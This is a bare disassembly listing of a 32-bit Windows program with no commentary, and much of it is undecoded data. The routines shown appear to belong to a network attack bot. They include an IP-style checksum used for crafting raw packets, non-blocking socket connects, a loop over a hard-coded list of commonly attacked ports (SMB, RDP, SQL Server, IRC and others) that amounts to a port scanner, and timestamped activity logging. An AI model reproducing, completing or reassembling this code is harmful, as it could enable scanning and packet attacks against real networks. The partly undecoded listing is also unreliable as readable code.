		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB80h, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DDC68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8C68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2BBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB868FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 69E89000h, 2B0226C0h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57868h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EECh, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360DCh, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608C68h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60486850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601C68FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57868ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0BB6EE8FCh, 2B900226h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB868h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2C68500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022BB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 3468004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 34685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0B4C2E8FFh, 2B900226h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 24BE12E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436150
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43613C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 277010Fh
		nop
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43619C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436188
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361CC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361B0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
